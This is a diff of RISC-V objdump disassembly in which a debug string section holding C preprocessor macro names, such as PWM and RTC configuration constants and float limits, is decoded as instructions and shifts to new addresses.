      d18:	494d                	li	s2,19
-     d1a:	5354                	lw	a3,36(a4)
-     d1c:	485f 205f 5f00      	0x5f00205f485f
-     d22:	4156                	lw	sp,84(sp)
-     d24:	4c5f 5349 5f54      	0x5f5453494c5f
-     d2a:	4544                	lw	s1,12(a0)
-     d2c:	4946                	lw	s2,80(sp)
-     d2e:	454e                	lw	a0,208(sp)
-     d30:	2044                	fld	fs1,128(s0)
-     d32:	5f00                	lw	s0,56(a4)
-     d34:	535f 5248 5f54      	0x5f545248535f
-     d3a:	414d                	li	sp,19
-     d3c:	5f58                	lw	a4,60(a4)
-     d3e:	205f 7830 6637      	0x66377830205f
-     d44:	6666                	flw	fa2,88(sp)
-     d46:	5000                	lw	s0,32(s0)
-     d48:	5254                	lw	a3,36(a2)
-     d4a:	4944                	lw	s1,20(a0)
-     d4c:	4646                	lw	a2,80(sp)
-     d4e:	4d5f 5841 5f20      	0x5f2058414d5f
-     d54:	505f 5254 4944      	0x49445254505f
-     d5a:	4646                	lw	a2,80(sp)
-     d5c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     d62:	5f00                	lw	s0,56(a4)
-     d64:	775f 6863 7261      	0x72616863775f
-     d6a:	745f 5f5f 0020      	0x205f5f745f
-     d70:	5f5f 4c46 3354      	0x33544c465f5f
-     d76:	5f32                	lw	t5,44(sp)
-     d78:	4544                	lw	s1,12(a0)
-     d7a:	4f4e                	lw	t5,208(sp)
-     d7c:	4d52                	lw	s10,20(sp)
-     d7e:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-     d84:	3120                	fld	fs0,96(a0)
-     d86:	342e                	fld	fs0,232(sp)
-     d88:	3130                	fld	fa2,96(a0)
-     d8a:	3932                	fld	fs2,296(sp)
-     d8c:	3438                	fld	fa4,104(s0)
-     d8e:	3436                	fld	fs0,360(sp)
-     d90:	38343233          	0x38343233
-     d94:	3731                	jal	ca0 <__stack_size+0x4a0>
-     d96:	3730                	fld	fa2,104(a4)
-     d98:	3930                	fld	fa2,112(a0)
-     d9a:	3332                	fld	ft6,296(sp)
-     d9c:	35393237          	lui	tp,0x35393
-     da0:	3338                	fld	fa4,96(a4)
-     da2:	3832                	fld	fa6,296(sp)
-     da4:	3939                	jal	9c2 <__stack_size+0x1c2>
-     da6:	3631                	jal	8b2 <__stack_size+0xb2>
-     da8:	3331                	jal	ab4 <__stack_size+0x2b4>
-     daa:	2d65                	jal	1462 <__stack_size+0xc62>
-     dac:	3534                	fld	fa3,104(a0)
-     dae:	3346                	fld	ft6,112(sp)
-     db0:	0032                	c.slli	zero,0xc
-     db2:	5750                	lw	a2,44(a4)
-     db4:	5f4d                	li	t5,-13
-     db6:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-     dba:	43495453          	0x43495453
-     dbe:	3020594b          	fnmsub.s	fs2,ft0,ft2,ft6,unknown
-     dc2:	3078                	fld	fa4,224(s0)
-     dc4:	3030                	fld	fa2,96(s0)
-     dc6:	3030                	fld	fa2,96(s0)
-     dc8:	3031                	jal	5d4 <__stack_size-0x22c>
-     dca:	0030                	addi	a2,sp,8
-     dcc:	6c637963          	bgeu	t1,t1,149e <__stack_size+0xc9e>
-     dd0:	7365                	lui	t1,0xffff9
-     dd2:	5f00                	lw	s0,56(a4)
-     dd4:	545f4353          	0x545f4353
-     dd8:	4d49                	li	s10,18
-     dda:	5245                	li	tp,-15
-     ddc:	33332053          	0x33332053
-     de0:	5f00                	lw	s0,56(a4)
-     de2:	4552                	lw	a0,20(sp)
-     de4:	4e45                	li	t3,17
-     de6:	5f54                	lw	a3,60(a4)
-     de8:	52534357          	0x52534357
-     dec:	4f54                	lw	a3,28(a4)
-     dee:	424d                	li	tp,19
-     df0:	54535f53          	0x54535f53
-     df4:	5441                	li	s0,-16
-     df6:	2845                	jal	ea6 <__stack_size+0x6a6>
-     df8:	7470                	flw	fa2,108(s0)
-     dfa:	2972                	fld	fs2,280(sp)
-     dfc:	2820                	fld	fs0,80(s0)
-     dfe:	7028                	flw	fa0,96(s0)
-     e00:	7274                	flw	fa3,100(a2)
-     e02:	2d29                	jal	141c <__stack_size+0xc1c>
-     e04:	5f3e                	lw	t5,236(sp)
-     e06:	656e                	flw	fa0,216(sp)
-     e08:	725f2e77          	0x725f2e77
-     e0c:	6565                	lui	a0,0x19
-     e0e:	746e                	flw	fs0,248(sp)
-     e10:	5f2e                	lw	t5,232(sp)
-     e12:	72736377          	0x72736377
-     e16:	6f74                	flw	fa3,92(a4)
-     e18:	626d                	lui	tp,0x1b
-     e1a:	74735f73          	csrrwi	t5,0x747,6
-     e1e:	7461                	lui	s0,0xffff8
-     e20:	2965                	jal	12d8 <__stack_size+0xad8>
-     e22:	5400                	lw	s0,40(s0)
-     e24:	504d                	c.li	zero,-13
-     e26:	4d5f 5841 3220      	0x322058414d5f
-     e2c:	0036                	c.slli	zero,0xd
-     e2e:	495f 5346 434f      	0x434f5346495f
-     e34:	3130204b          	fnmsub.s	ft0,ft0,fs3,ft6,rdn
-     e38:	3034                	fld	fa3,96(s0)
-     e3a:	3030                	fld	fa2,96(s0)
-     e3c:	0030                	addi	a2,sp,8
-     e3e:	5f5f 6166 7473      	0x747361665f5f
-     e44:	6c6c6163          	bltu	s8,t1,1506 <__stack_size+0xd06>
-     e48:	5f20                	lw	s0,120(a4)
-     e4a:	615f 7474 6972      	0x69727474615f
-     e50:	7562                	flw	fa0,56(sp)
-     e52:	6574                	flw	fa3,76(a0)
-     e54:	5f5f 2828 5f5f      	0x5f5f28285f5f
-     e5a:	6166                	flw	ft2,88(sp)
-     e5c:	61637473          	csrrci	s0,0x616,6
-     e60:	6c6c                	flw	fa1,92(s0)
-     e62:	5f5f 2929 5f00      	0x5f0029295f5f
-     e68:	4e5f4353          	0x4e5f4353
-     e6c:	554f5247          	0x554f5247
-     e70:	5350                	lw	a2,36(a4)
-     e72:	4d5f 5841 3320      	0x332058414d5f
-     e78:	7a00                	flw	fs0,48(a2)
-     e7a:	00656e6f          	jal	t3,56e80 <__stack_size+0x56680>
-     e7e:	4d46                	lw	s10,80(sp)
-     e80:	5241                	li	tp,-16
-     e82:	465f204b          	fnmsub.q	ft0,ft10,ft5,fs0,rdn
-     e86:	414d                	li	sp,19
-     e88:	4b52                	lw	s6,20(sp)
-     e8a:	5f00                	lw	s0,56(a4)
-     e8c:	465f 544c 3231      	0x3231544c465f
-     e92:	5f38                	lw	a4,120(a4)
-     e94:	494d                	li	s2,19
-     e96:	5f4e                	lw	t5,240(sp)
-     e98:	205f 2e33 3633      	0x36332e33205f
-     e9e:	3132                	fld	ft2,296(sp)
-     ea0:	3330                	fld	fa2,96(a4)
-     ea2:	3431                	jal	8ae <__stack_size+0xae>
-     ea4:	32313133          	0x32313133
-     ea8:	3930                	fld	fa2,112(a0)
-     eaa:	36303533          	0x36303533
-     eae:	3632                	fld	fa2,296(sp)
-     eb0:	3632                	fld	fa2,296(sp)
-     eb2:	31383737          	lui	a4,0x31383
-     eb6:	31323337          	lui	t1,0x31323
-     eba:	36323537          	lui	a0,0x36323
-     ebe:	6530                	flw	fa2,72(a0)
-     ec0:	342d                	jal	8ea <__stack_size+0xea>
-     ec2:	3339                	jal	bd0 <__stack_size+0x3d0>
-     ec4:	4632                	lw	a2,12(sp)
-     ec6:	3231                	jal	7d2 <__stack_size-0x2e>
-     ec8:	0038                	addi	a4,sp,8
-     eca:	4446                	lw	s0,80(sp)
-     ecc:	495f 5353 5445      	0x54455353495f
-     ed2:	6e28                	flw	fa0,88(a2)
-     ed4:	702c                	flw	fa1,96(s0)
-     ed6:	2029                	jal	ee0 <__stack_size+0x6e0>
-     ed8:	2828                	fld	fa0,80(s0)
-     eda:	2970                	fld	fa2,208(a0)
-     edc:	3e2d                	jal	a16 <__stack_size+0x216>
-     ede:	6466                	flw	fs0,88(sp)
-     ee0:	69625f73          	csrrwi	t5,0x696,4
-     ee4:	7374                	flw	fa3,100(a4)
-     ee6:	296e285b          	0x296e285b
-     eea:	44464e2f          	0x44464e2f
-     eee:	4942                	lw	s2,16(sp)
-     ef0:	5354                	lw	a3,36(a4)
-     ef2:	205d                	jal	f98 <__stack_size+0x798>
-     ef4:	2026                	fld	ft0,72(sp)
-     ef6:	3128                	fld	fa0,96(a0)
-     ef8:	204c                	fld	fa1,128(s0)
-     efa:	3c3c                	fld	fa5,120(s0)
-     efc:	2820                	fld	fs0,80(s0)
-     efe:	6e28                	flw	fa0,88(a2)
-     f00:	2029                	jal	f0a <__stack_size+0x70a>
-     f02:	2025                	jal	f2a <__stack_size+0x72a>
-     f04:	464e                	lw	a2,208(sp)
-     f06:	4244                	lw	s1,4(a2)
-     f08:	5449                	li	s0,-14
-     f0a:	29292953          	0x29292953
-     f0e:	5f00                	lw	s0,56(a4)
-     f10:	4f4e                	lw	t5,208(sp)
-     f12:	4e49                	li	t3,18
-     f14:	494c                	lw	a1,20(a0)
-     f16:	454e                	lw	a0,208(sp)
-     f18:	5f20                	lw	s0,120(a4)
-     f1a:	615f 7474 6972      	0x69727474615f
-     f20:	7562                	flw	fa0,56(sp)
-     f22:	6574                	flw	fa3,76(a0)
-     f24:	5f5f 2820 5f28      	0x5f2828205f5f
-     f2a:	6e5f 696f 6c6e      	0x6c6e696f6e5f
-     f30:	6e69                	lui	t3,0x1a
-     f32:	5f65                	li	t5,-7
-     f34:	295f 0029 5f5f      	0x5f5f0029295f
-     f3a:	4e49                	li	t3,18
-     f3c:	5f54                	lw	a3,60(a4)
-     f3e:	4146                	lw	sp,80(sp)
-     f40:	34365453          	0x34365453
-     f44:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     f4a:	3020                	fld	fs0,96(s0)
-     f4c:	3778                	fld	fa4,232(a4)
-     f4e:	6666                	flw	fa2,88(sp)
-     f50:	6666                	flw	fa2,88(sp)
-     f52:	6666                	flw	fa2,88(sp)
-     f54:	6666                	flw	fa2,88(sp)
-     f56:	6666                	flw	fa2,88(sp)
-     f58:	6666                	flw	fa2,88(sp)
-     f5a:	6666                	flw	fa2,88(sp)
-     f5c:	4c66                	lw	s8,88(sp)
-     f5e:	004c                	addi	a1,sp,4
-     f60:	4e49                	li	t3,18
-     f62:	5054                	lw	a3,36(s0)
-     f64:	5254                	lw	a3,36(a2)
-     f66:	4d5f 4e49 2820      	0x28204e494d5f
-     f6c:	492d                	li	s2,11
-     f6e:	544e                	lw	s0,240(sp)
-     f70:	5450                	lw	a2,44(s0)
-     f72:	5f52                	lw	t5,52(sp)
-     f74:	414d                	li	sp,19
-     f76:	2058                	fld	fa4,128(s0)
-     f78:	202d                	jal	fa2 <__stack_size+0x7a2>
-     f7a:	2931                	jal	1396 <__stack_size+0xb96>
-     f7c:	4600                	lw	s0,8(a2)
-     f7e:	444e                	lw	s0,208(sp)
-     f80:	4c45                	li	s8,17
-     f82:	5941                	li	s2,-16
-     f84:	5f20                	lw	s0,120(a4)
-     f86:	4e46                	lw	t3,80(sp)
-     f88:	4544                	lw	s1,12(a0)
-     f8a:	414c                	lw	a1,4(a0)
-     f8c:	0059                	c.nop	22
-     f8e:	5f5f 4955 544e      	0x544e49555f5f
-     f94:	465f 5341 3154      	0x31545341465f
-     f9a:	5f36                	lw	t5,108(sp)
-     f9c:	5954                	lw	a3,52(a0)
-     f9e:	4550                	lw	a2,12(a0)
-     fa0:	5f5f 7520 736e      	0x736e75205f5f
-     fa6:	6769                	lui	a4,0x1a
-     fa8:	656e                	flw	fa0,216(sp)
-     faa:	2064                	fld	fs1,192(s0)
-     fac:	6e69                	lui	t3,0x1a
-     fae:	0074                	addi	a3,sp,12
-     fb0:	5f5f 4c46 3154      	0x31544c465f5f
-     fb6:	3832                	fld	fa6,296(sp)
-     fb8:	4d5f 4e41 5f54      	0x5f544e414d5f
-     fbe:	4944                	lw	s1,20(a0)
-     fc0:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-     fc4:	3131                	jal	bd0 <__stack_size+0x3d0>
-     fc6:	535f0033          	0x535f0033
-     fca:	49415f43          	fmadd.s	ft10,ft2,fs4,fs1,unknown
-     fce:	52505f4f          	fnmadd.d	ft10,ft0,ft5,fa0,unknown
-     fd2:	4f49                	li	t5,18
-     fd4:	445f 4c45 4154      	0x41544c45445f
-     fda:	4d5f 5841 3320      	0x332058414d5f
-     fe0:	0036                	c.slli	zero,0xd
-     fe2:	5f5f 4955 544e      	0x544e49555f5f
-     fe8:	3436                	fld	fs0,360(sp)
-     fea:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     ff0:	3020                	fld	fs0,96(s0)
-     ff2:	6678                	flw	fa4,76(a2)
-     ff4:	6666                	flw	fa2,88(sp)
-     ff6:	6666                	flw	fa2,88(sp)
-     ff8:	6666                	flw	fa2,88(sp)
+     d1a:	5f4e                	lw	t5,240(sp)
+     d1c:	205f 2e31 3034      	0x30342e31205f
+     d22:	3231                	jal	62e <__stack_size-0x1d2>
+     d24:	3839                	jal	542 <__stack_size-0x2be>
+     d26:	3634                	fld	fa3,104(a2)
+     d28:	3334                	fld	fa3,96(a4)
+     d2a:	3432                	fld	fs0,296(sp)
+     d2c:	3138                	fld	fa4,96(a0)
+     d2e:	30373037          	lui	zero,0x30373
+     d32:	3239                	jal	640 <__stack_size-0x1c0>
+     d34:	39323733          	0x39323733
+     d38:	3835                	jal	574 <__stack_size-0x28c>
+     d3a:	39383233          	0x39383233
+     d3e:	3139                	jal	94c <__stack_size+0x14c>
+     d40:	3136                	fld	ft2,360(sp)
+     d42:	342d6533          	0x342d6533
+     d46:	4635                	li	a2,13
+     d48:	50003233          	0x50003233
+     d4c:	435f4d57          	0x435f4d57
+     d50:	4746                	lw	a4,80(sp)
+     d52:	535f 4954 4b43      	0x4b434954535f
+     d58:	2059                	jal	dde <__stack_size+0x5de>
+     d5a:	7830                	flw	fa2,112(s0)
+     d5c:	3030                	fld	fa2,96(s0)
+     d5e:	3030                	fld	fa2,96(s0)
+     d60:	3130                	fld	fa2,96(a0)
+     d62:	3030                	fld	fa2,96(s0)
+     d64:	5f00                	lw	s0,56(a4)
+     d66:	465f 544c 3233      	0x3233544c465f
+     d6c:	485f 5341 495f      	0x495f5341485f
+     d72:	464e                	lw	a2,208(sp)
+     d74:	4e49                	li	t3,18
+     d76:	5449                	li	s0,-14
+     d78:	5f59                	li	t5,-10
+     d7a:	205f 0031 495f      	0x495f0031205f
+     d80:	4c46                	lw	s8,80(sp)
+     d82:	4b4e                	lw	s6,208(sp)
+     d84:	3020                	fld	fs0,96(s0)
+     d86:	3231                	jal	692 <__stack_size-0x16e>
+     d88:	3030                	fld	fa2,96(s0)
+     d8a:	3030                	fld	fa2,96(s0)
+     d8c:	5f00                	lw	s0,56(a4)
+     d8e:	545f4353          	0x545f4353
+     d92:	4d49                	li	s10,18
+     d94:	5245                	li	tp,-15
+     d96:	33332053          	0x33332053
+     d9a:	5f00                	lw	s0,56(a4)
+     d9c:	4552                	lw	a0,20(sp)
+     d9e:	4e45                	li	t3,17
+     da0:	5f54                	lw	a3,60(a4)
+     da2:	52534357          	0x52534357
+     da6:	4f54                	lw	a3,28(a4)
+     da8:	424d                	li	tp,19
+     daa:	54535f53          	0x54535f53
+     dae:	5441                	li	s0,-16
+     db0:	2845                	jal	e60 <__stack_size+0x660>
+     db2:	7470                	flw	fa2,108(s0)
+     db4:	2972                	fld	fs2,280(sp)
+     db6:	2820                	fld	fs0,80(s0)
+     db8:	7028                	flw	fa0,96(s0)
+     dba:	7274                	flw	fa3,100(a2)
+     dbc:	2d29                	jal	13d6 <__stack_size+0xbd6>
+     dbe:	5f3e                	lw	t5,236(sp)
+     dc0:	656e                	flw	fa0,216(sp)
+     dc2:	725f2e77          	0x725f2e77
+     dc6:	6565                	lui	a0,0x19
+     dc8:	746e                	flw	fs0,248(sp)
+     dca:	5f2e                	lw	t5,232(sp)
+     dcc:	72736377          	0x72736377
+     dd0:	6f74                	flw	fa3,92(a4)
+     dd2:	626d                	lui	tp,0x1b
+     dd4:	74735f73          	csrrwi	t5,0x747,6
+     dd8:	7461                	lui	s0,0xffff8
+     dda:	2965                	jal	1292 <__stack_size+0xa92>
+     ddc:	5400                	lw	s0,40(s0)
+     dde:	504d                	c.li	zero,-13
+     de0:	4d5f 5841 3220      	0x322058414d5f
+     de6:	0036                	c.slli	zero,0xd
+     de8:	495f 5346 434f      	0x434f5346495f
+     dee:	3130204b          	fnmsub.s	ft0,ft0,fs3,ft6,rdn
+     df2:	3034                	fld	fa3,96(s0)
+     df4:	3030                	fld	fa2,96(s0)
+     df6:	0030                	addi	a2,sp,8
+     df8:	5f5f 6166 7473      	0x747361665f5f
+     dfe:	6c6c6163          	bltu	s8,t1,14c0 <__stack_size+0xcc0>
+     e02:	5f20                	lw	s0,120(a4)
+     e04:	615f 7474 6972      	0x69727474615f
+     e0a:	7562                	flw	fa0,56(sp)
+     e0c:	6574                	flw	fa3,76(a0)
+     e0e:	5f5f 2828 5f5f      	0x5f5f28285f5f
+     e14:	6166                	flw	ft2,88(sp)
+     e16:	61637473          	csrrci	s0,0x616,6
+     e1a:	6c6c                	flw	fa1,92(s0)
+     e1c:	5f5f 2929 5f00      	0x5f0029295f5f
+     e22:	4e5f4353          	0x4e5f4353
+     e26:	554f5247          	0x554f5247
+     e2a:	5350                	lw	a2,36(a4)
+     e2c:	4d5f 5841 3320      	0x332058414d5f
+     e32:	5300                	lw	s0,32(a4)
+     e34:	495f 4f57 4854      	0x48544f57495f
+     e3a:	3020                	fld	fs0,96(s0)
+     e3c:	3030                	fld	fa2,96(s0)
+     e3e:	3030                	fld	fa2,96(s0)
+     e40:	3230                	fld	fa2,96(a2)
+     e42:	5f00                	lw	s0,56(a4)
+     e44:	465f 544c 3231      	0x3231544c465f
+     e4a:	5f38                	lw	a4,120(a4)
+     e4c:	494d                	li	s2,19
+     e4e:	5f4e                	lw	t5,240(sp)
+     e50:	205f 2e33 3633      	0x36332e33205f
+     e56:	3132                	fld	ft2,296(sp)
+     e58:	3330                	fld	fa2,96(a4)
+     e5a:	3431                	jal	866 <__stack_size+0x66>
+     e5c:	32313133          	0x32313133
+     e60:	3930                	fld	fa2,112(a0)
+     e62:	36303533          	0x36303533
+     e66:	3632                	fld	fa2,296(sp)
+     e68:	3632                	fld	fa2,296(sp)
+     e6a:	31383737          	lui	a4,0x31383
+     e6e:	31323337          	lui	t1,0x31323
+     e72:	36323537          	lui	a0,0x36323
+     e76:	6530                	flw	fa2,72(a0)
+     e78:	342d                	jal	8a2 <__stack_size+0xa2>
+     e7a:	3339                	jal	b88 <__stack_size+0x388>
+     e7c:	4632                	lw	a2,12(sp)
+     e7e:	3231                	jal	78a <__stack_size-0x76>
+     e80:	0038                	addi	a4,sp,8
+     e82:	4446                	lw	s0,80(sp)
+     e84:	495f 5353 5445      	0x54455353495f
+     e8a:	6e28                	flw	fa0,88(a2)
+     e8c:	702c                	flw	fa1,96(s0)
+     e8e:	2029                	jal	e98 <__stack_size+0x698>
+     e90:	2828                	fld	fa0,80(s0)
+     e92:	2970                	fld	fa2,208(a0)
+     e94:	3e2d                	jal	9ce <__stack_size+0x1ce>
+     e96:	6466                	flw	fs0,88(sp)
+     e98:	69625f73          	csrrwi	t5,0x696,4
+     e9c:	7374                	flw	fa3,100(a4)
+     e9e:	296e285b          	0x296e285b
+     ea2:	44464e2f          	0x44464e2f
+     ea6:	4942                	lw	s2,16(sp)
+     ea8:	5354                	lw	a3,36(a4)
+     eaa:	205d                	jal	f50 <__stack_size+0x750>
+     eac:	2026                	fld	ft0,72(sp)
+     eae:	3128                	fld	fa0,96(a0)
+     eb0:	204c                	fld	fa1,128(s0)
+     eb2:	3c3c                	fld	fa5,120(s0)
+     eb4:	2820                	fld	fs0,80(s0)
+     eb6:	6e28                	flw	fa0,88(a2)
+     eb8:	2029                	jal	ec2 <__stack_size+0x6c2>
+     eba:	2025                	jal	ee2 <__stack_size+0x6e2>
+     ebc:	464e                	lw	a2,208(sp)
+     ebe:	4244                	lw	s1,4(a2)
+     ec0:	5449                	li	s0,-14
+     ec2:	29292953          	0x29292953
+     ec6:	5f00                	lw	s0,56(a4)
+     ec8:	4f4e                	lw	t5,208(sp)
+     eca:	4e49                	li	t3,18
+     ecc:	494c                	lw	a1,20(a0)
+     ece:	454e                	lw	a0,208(sp)
+     ed0:	5f20                	lw	s0,120(a4)
+     ed2:	615f 7474 6972      	0x69727474615f
+     ed8:	7562                	flw	fa0,56(sp)
+     eda:	6574                	flw	fa3,76(a0)
+     edc:	5f5f 2820 5f28      	0x5f2828205f5f
+     ee2:	6e5f 696f 6c6e      	0x6c6e696f6e5f
+     ee8:	6e69                	lui	t3,0x1a
+     eea:	5f65                	li	t5,-7
+     eec:	295f 0029 5f5f      	0x5f5f0029295f
+     ef2:	4e49                	li	t3,18
+     ef4:	5f54                	lw	a3,60(a4)
+     ef6:	4146                	lw	sp,80(sp)
+     ef8:	34365453          	0x34365453
+     efc:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     f02:	3020                	fld	fs0,96(s0)
+     f04:	3778                	fld	fa4,232(a4)
+     f06:	6666                	flw	fa2,88(sp)
+     f08:	6666                	flw	fa2,88(sp)
+     f0a:	6666                	flw	fa2,88(sp)
+     f0c:	6666                	flw	fa2,88(sp)
+     f0e:	6666                	flw	fa2,88(sp)
+     f10:	6666                	flw	fa2,88(sp)
+     f12:	6666                	flw	fa2,88(sp)
+     f14:	4c66                	lw	s8,88(sp)
+     f16:	004c                	addi	a1,sp,4
+     f18:	4e49                	li	t3,18
+     f1a:	5054                	lw	a3,36(s0)
+     f1c:	5254                	lw	a3,36(a2)
+     f1e:	4d5f 4e49 2820      	0x28204e494d5f
+     f24:	492d                	li	s2,11
+     f26:	544e                	lw	s0,240(sp)
+     f28:	5450                	lw	a2,44(s0)
+     f2a:	5f52                	lw	t5,52(sp)
+     f2c:	414d                	li	sp,19
+     f2e:	2058                	fld	fa4,128(s0)
+     f30:	202d                	jal	f5a <__stack_size+0x75a>
+     f32:	2931                	jal	134e <__stack_size+0xb4e>
+     f34:	4600                	lw	s0,8(a2)
+     f36:	444e                	lw	s0,208(sp)
+     f38:	4c45                	li	s8,17
+     f3a:	5941                	li	s2,-16
+     f3c:	5f20                	lw	s0,120(a4)
+     f3e:	4e46                	lw	t3,80(sp)
+     f40:	4544                	lw	s1,12(a0)
+     f42:	414c                	lw	a1,4(a0)
+     f44:	0059                	c.nop	22
+     f46:	5f5f 4955 544e      	0x544e49555f5f
+     f4c:	465f 5341 3154      	0x31545341465f
+     f52:	5f36                	lw	t5,108(sp)
+     f54:	5954                	lw	a3,52(a0)
+     f56:	4550                	lw	a2,12(a0)
+     f58:	5f5f 7520 736e      	0x736e75205f5f
+     f5e:	6769                	lui	a4,0x1a
+     f60:	656e                	flw	fa0,216(sp)
+     f62:	2064                	fld	fs1,192(s0)
+     f64:	6e69                	lui	t3,0x1a
+     f66:	0074                	addi	a3,sp,12
+     f68:	5f5f 4c46 3154      	0x31544c465f5f
+     f6e:	3832                	fld	fa6,296(sp)
+     f70:	4d5f 4e41 5f54      	0x5f544e414d5f
+     f76:	4944                	lw	s1,20(a0)
+     f78:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+     f7c:	3131                	jal	b88 <__stack_size+0x388>
+     f7e:	575f0033          	0x575f0033
+     f82:	4e41                	li	t3,16
+     f84:	5f54                	lw	a3,60(a4)
+     f86:	4f49                	li	t5,18
+     f88:	435f 3939 465f      	0x465f3939435f
+     f8e:	414d524f          	fnmadd.s	ft4,fs10,fs4,fs0,unknown
+     f92:	5354                	lw	a3,36(a4)
+     f94:	3120                	fld	fs0,96(a0)
+     f96:	5f00                	lw	s0,56(a4)
+     f98:	555f 4e49 3654      	0x36544e49555f
+     f9e:	5f34                	lw	a3,120(a4)
+     fa0:	414d                	li	sp,19
+     fa2:	5f58                	lw	a4,60(a4)
+     fa4:	205f 7830 6666      	0x66667830205f
+     faa:	6666                	flw	fa2,88(sp)
+     fac:	6666                	flw	fa2,88(sp)
+     fae:	6666                	flw	fa2,88(sp)
+     fb0:	6666                	flw	fa2,88(sp)
+     fb2:	6666                	flw	fa2,88(sp)
+     fb4:	6666                	flw	fa2,88(sp)
+     fb6:	6666                	flw	fa2,88(sp)
+     fb8:	4c55                	li	s8,21
+     fba:	004c                	addi	a1,sp,4
+     fbc:	5750                	lw	a2,44(a4)
+     fbe:	5f4d                	li	t5,-13
+     fc0:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+     fc4:	4c414353          	0x4c414353
+     fc8:	2045                	jal	1068 <__stack_size+0x868>
+     fca:	7830                	flw	fa2,112(s0)
+     fcc:	3030                	fld	fa2,96(s0)
+     fce:	3030                	fld	fa2,96(s0)
+     fd0:	3030                	fld	fa2,96(s0)
+     fd2:	4630                	lw	a2,72(a2)
+     fd4:	5000                	lw	s0,32(s0)
+     fd6:	4854                	lw	a3,20(s0)
+     fd8:	4552                	lw	a0,20(sp)
+     fda:	4441                	li	s0,16
+     fdc:	495f 484e 5245      	0x5245484e495f
+     fe2:	5449                	li	s0,-14
+     fe4:	535f 4843 4445      	0x44454843535f
+     fea:	3120                	fld	fs0,96(a0)
+     fec:	5f00                	lw	s0,56(a4)
+     fee:	4552                	lw	a0,20(sp)
+     ff0:	28323347          	fmsub.s	ft6,ft4,ft3,ft5,rup
+     ff4:	6162                	flw	ft2,24(sp)
+     ff6:	6f2c6573          	csrrsi	a0,0x6f2,24
      ffa:	6666                	flw	fa2,88(sp)
-     ffc:	6666                	flw	fa2,88(sp)
-     ffe:	6666                	flw	fa2,88(sp)
-    1000:	6666                	flw	fa2,88(sp)
-    1002:	5566                	lw	a0,120(sp)
-    1004:	4c4c                	lw	a1,28(s0)
-    1006:	5000                	lw	s0,32(s0)
-    1008:	435f4d57          	0x435f4d57
-    100c:	4746                	lw	a4,80(sp)
-    100e:	535f 4143 454c      	0x454c4143535f
-    1014:	3020                	fld	fs0,96(s0)
-    1016:	3078                	fld	fa4,224(s0)
-    1018:	3030                	fld	fa2,96(s0)
-    101a:	3030                	fld	fa2,96(s0)
-    101c:	3030                	fld	fa2,96(s0)
-    101e:	0046                	c.slli	zero,0x11
-    1020:	5450                	lw	a2,44(s0)
-    1022:	5248                	lw	a0,36(a2)
-    1024:	4145                	li	sp,17
-    1026:	5f44                	lw	s1,60(a4)
-    1028:	4e49                	li	t3,18
-    102a:	4548                	lw	a0,12(a0)
-    102c:	4952                	lw	s2,20(sp)
-    102e:	5f54                	lw	a3,60(a4)
-    1030:	45484353          	0x45484353
-    1034:	2044                	fld	fs1,128(s0)
-    1036:	0031                	c.nop	12
-    1038:	525f 4745 3233      	0x32334745525f
-    103e:	6228                	flw	fa0,64(a2)
-    1040:	7361                	lui	t1,0xffff8
-    1042:	2c65                	jal	12fa <__stack_size+0xafa>
-    1044:	7366666f          	jal	a2,6777a <__stack_size+0x66f7a>
-    1048:	7465                	lui	s0,0xffff9
-    104a:	2029                	jal	1054 <__stack_size+0x854>
-    104c:	2a28                	fld	fa0,80(a2)
-    104e:	7628                	flw	fa0,104(a2)
-    1050:	74616c6f          	jal	s8,17796 <__stack_size+0x16f96>
-    1054:	6c69                	lui	s8,0x1a
-    1056:	2065                	jal	10fe <__stack_size+0x8fe>
-    1058:	6975                	lui	s2,0x1d
-    105a:	746e                	flw	fs0,248(sp)
-    105c:	745f3233          	0x745f3233
-    1060:	2a20                	fld	fs0,80(a2)
-    1062:	2829                	jal	107c <__stack_size+0x87c>
-    1064:	6228                	flw	fa0,64(a2)
-    1066:	7361                	lui	t1,0xffff8
-    1068:	2965                	jal	1520 <__stack_size+0xd20>
-    106a:	2b20                	fld	fs0,80(a4)
-    106c:	2820                	fld	fs0,80(s0)
-    106e:	7366666f          	jal	a2,677a4 <__stack_size+0x66fa4>
-    1072:	7465                	lui	s0,0xffff9
-    1074:	2929                	jal	148e <__stack_size+0xc8e>
-    1076:	0029                	c.nop	10
-    1078:	535f 5f43 3656      	0x36565f43535f
-    107e:	495f 504c 3233      	0x3233504c495f
-    1084:	4f5f 4646 4942      	0x494246464f5f
-    108a:	535f2047          	fmsub.d	ft0,ft10,fs5,fa0,rdn
-    108e:	37565f43          	fmadd.q	ft10,fa2,fs5,ft6,unknown
-    1092:	495f 504c 3233      	0x3233504c495f
-    1098:	4f5f 4646 4942      	0x494246464f5f
-    109e:	54410047          	0x54410047
-    10a2:	525f 4d45 564f      	0x564f4d45525f
-    10a8:	4445                	li	s0,17
-    10aa:	5249                	li	tp,-14
-    10ac:	3820                	fld	fs0,112(s0)
-    10ae:	5f00                	lw	s0,56(a4)
-    10b0:	465f 544c 3233      	0x3233544c465f
-    10b6:	5f58                	lw	a4,60(a4)
-    10b8:	414d                	li	sp,19
-    10ba:	5f58                	lw	a4,60(a4)
-    10bc:	3031                	jal	8c8 <__stack_size+0xc8>
-    10be:	455f 5058 5f5f      	0x5f5f5058455f
-    10c4:	3320                	fld	fs0,96(a4)
-    10c6:	3830                	fld	fa2,112(s0)
-    10c8:	5f00                	lw	s0,56(a4)
-    10ca:	4d5f4353          	0x4d5f4353
-    10ce:	5f51                	li	t5,-12
-    10d0:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    10d4:	4d5f 5841 3120      	0x312058414d5f
-    10da:	5f5f0033          	0x5f5f0033
-    10de:	7375                	lui	t1,0xffffd
-    10e0:	6465                	lui	s0,0x19
-    10e2:	5f20                	lw	s0,120(a4)
-    10e4:	615f 7474 6972      	0x69727474615f
-    10ea:	7562                	flw	fa0,56(sp)
-    10ec:	6574                	flw	fa3,76(a0)
-    10ee:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    10f4:	7375                	lui	t1,0xffffd
